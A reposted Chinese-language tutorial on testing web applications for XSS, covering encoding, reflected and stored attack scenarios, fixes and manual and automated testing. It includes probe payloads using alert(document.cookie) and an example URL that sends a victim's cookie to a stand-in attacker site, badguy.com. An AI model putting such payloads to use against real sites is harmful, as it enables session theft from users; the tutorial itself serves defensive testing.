1. 程式人生 > >【03.Web端XSS安全測試】

【03.Web端XSS安全測試】

XSS 全稱(Cross Site Scripting) 跨站指令碼攻擊, 是Web程式中最常見的漏洞。指攻擊者在網頁中嵌入客戶端指令碼(例如JavaScript), 當用戶瀏覽此網頁時,指令碼就會在使用者的瀏覽器上執行,從而達到攻擊者的目的. 比如獲取使用者的Cookie,導航到惡意網站,攜帶木馬等。 作為測試人員,需要了解XSS的原理,攻擊場景,如何修復。 才能有效的防止XSS的發生。

閱讀目錄 1 XSS 是如何發生的 2 HTML Encode 3 XSS 攻擊場景 4 XSS漏洞的修復 5 如何測試XSS漏洞 6 HTML Encode 和URL Encode的區別 7 瀏覽器中的XSS過濾器 8 ASP.NET中的XSS安全機制

1.XSS 是如何發生的呢 假如有下面一個textbox

< input type=”text” name=”address1” value=”value1from”>

value1from是來自使用者的輸入,如果使用者不是輸入value1from,而是輸入 “/> 嵌入的JavaScript程式碼將會被執行 < script>alert(document.cookie) < /script> <!-那麼就會變成 < input type="text" name="address1" value=""/>< script>alert(document.cookie)< /script><!- ">

或者使用者輸入的是 "onfocus="alert(document.cookie) 那麼就會變成

<input type="text" name="address1" value="" onfocus="alert(document.cookie)">

事件被觸發的時候嵌入的JavaScript程式碼將會被執行 攻擊的威力,取決於使用者輸入了什麼樣的指令碼

當然使用者提交的資料還可以通過QueryString(放在URL中)和Cookie傳送給伺服器. 例如下圖 這裡寫圖片描述

2.HTML Encode XSS之所以會發生, 是因為使用者輸入的資料變成了程式碼。 所以我們需要對使用者輸入的資料進行HTML Encode處理。 將其中的”中括號”, “單引號”,“引號” 之類的特殊字元進行編碼。 這裡寫圖片描述

在C#中已經提供了現成的方法,只要呼叫HttpUtility.HtmlEncode("string <scritp>")就可以了。 (需要引用System.Web程式集) Fiddler中也提供了很方便的工具, 點選Toolbar上的”TextWizard” 按鈕 這裡寫圖片描述

3.XSS 攻擊場景 1. Dom-Based XSS 漏洞 攻擊過程如下 Tom 發現了Victim.com中的一個頁面有XSS漏洞, 例如: http://victim.com/search.asp?term=apple 伺服器中Search.asp 頁面的程式碼大概如下

<html>
  <title></title>
  <body>
    Results  for  <%Reequest.QueryString("term")%>
    ...
  </body>
</html>

Tom 先建立一個網站http://badguy.com, 用來接收“偷”來的資訊。 然後Tom 構造一個惡意的url(如下), 通過某種方式(郵件,QQ)發給Monica

http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

Monica點選了這個URL, 嵌入在URL中的惡意Javascript程式碼就會在Monica的瀏覽器中執行. 那麼Monica在victim.com網站的cookie, 就會被髮送到badguy網站中。這樣Monica在victim.com 的資訊就被Tom盜了.

  1. Stored XSS(儲存式XSS漏洞), 該型別是應用廣泛而且有可能影響大Web伺服器自身安全的漏洞,攻擊者將攻擊指令碼上傳到Web伺服器上,使得所有訪問該頁面的使用者都面臨資訊洩露的可能。 攻擊過程如下

Alex發現了網站A上有一個XSS 漏洞,該漏洞允許將攻擊程式碼儲存在資料庫中, Alex釋出了一篇文章,文章中嵌入了惡意JavaScript程式碼。 其他人如Monica訪問這片文章的時候,嵌入在文章中的惡意Javascript程式碼就會在Monica的瀏覽器中執行,其會話cookie或者其他資訊將被Alex盜走。

Dom-Based XSS漏洞威脅使用者個體,而儲存式XSS漏洞所威脅的物件將是大量的使用者.

4.XSS 漏洞修復 原則: 不相信客戶輸入的資料 注意: 攻擊程式碼不一定在<script></script>中 1 將重要的cookie標記為http only, 這樣的話Javascript 中的document.cookie語句就不能獲取到cookie了. 2 只允許使用者輸入我們期望的資料。 例如: 年齡的textbox中,只允許使用者輸入數字。 而數字之外的字元都過濾掉。 3 對資料進行Html Encode 處理 4 過濾或移除特殊的Html標籤, 例如: <script>, <iframe> , &lt; for <, &gt; for >, &quot for 5 過濾JavaScript 事件的標籤。例如 “onclick=”, “onfocus” 等等。 5.如何測試XSS漏洞 方法一: 檢視程式碼,查詢關鍵的變數, 客戶端將資料傳送給Web 服務端一般通過三種方式 Querystring, Form表單,以及cookie. 例如在ASP的程式中,通過Request物件獲取客戶端的變數 <% strUserCode = Request.QueryString(“code”); strUser = Request.Form(“USER”); strID = Request.Cookies(“ID”); %> 假如變數沒有經過htmlEncode處理, 那麼這個變數就存在一個XSS漏洞

方法二: 準備測試指令碼,

"/><script>alert(document.cookie)</script><!-- <script>alert(document.cookie)</script><!-- "onclick="alert(document.cookie)

在網頁中的Textbox或者其他能輸入資料的地方,輸入這些測試指令碼, 看能不能彈出對話方塊,能彈出的話說明存在XSS漏洞 在URL中檢視有那些變數通過URL把值傳給Web伺服器, 把這些變數的值退換成我們的測試的指令碼。 然後看我們的指令碼是否能執行

方法三: 自動化測試XSS漏洞 現在已經有很多XSS掃描工具了。 實現XSS自動化測試非常簡單,只需要用HttpWebRequest類。 把包含xss 測試指令碼。傳送給Web伺服器。 然後檢視HttpWebResponse中,我們的XSS測試指令碼是否已經注入進去了。 6.HTML Encode 和URL Encode的區別 剛開始我老是把這兩個東西搞混淆, 其實這是兩個不同的東西。 HTML編碼前面已經介紹過了,關於URL 編碼是為了符合url的規範。因為在標準的url規範中中文和很多的字元是不允許出現在url中的。 例如在baidu中搜索”測試漢字”。 URL會變成 http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477

所謂URL編碼就是: 把所有非字母數字字元都將被替換成百分號(%)後跟兩位十六進位制數,空格則編碼為加號(+)

在C#中已經提供了現成的方法,只要呼叫HttpUtility.UrlEncode(“string ”) 就可以了。 (需要引用System.Web程式集) Fiddler中也提供了很方便的工具, 點選Toolbar上的”TextWizard” 按鈕 8.瀏覽器中的XSS過濾器 為了防止發生XSS, 很多瀏覽器廠商都在瀏覽器中加入安全機制來過濾XSS。 例如IE8,IE9,Firefox, Chrome. 都有針對XSS的安全機制。 瀏覽器會阻止XSS。 例如下圖 這裡寫圖片描述

如果需要做測試, 最好使用IE7。 9.ASP.NET中的XSS安全機制 ASP.NET中有防範XSS的機制,對提交的表單會自動檢查是否存在XSS,當用戶試圖輸入XSS程式碼的時候,ASP.NET會丟擲一個錯誤如下圖 這裡寫圖片描述 很多程式設計師對安全沒有概念, 甚至不知道有XSS的存在。 ASP.NET在這一點上做到預設安全。 這樣的話就算是沒有安全意識的程式設計師也能寫出一個”較安全的網站“。 如果想禁止這個安全特性, 可以通過 <%@ Page validateRequest=“false” %>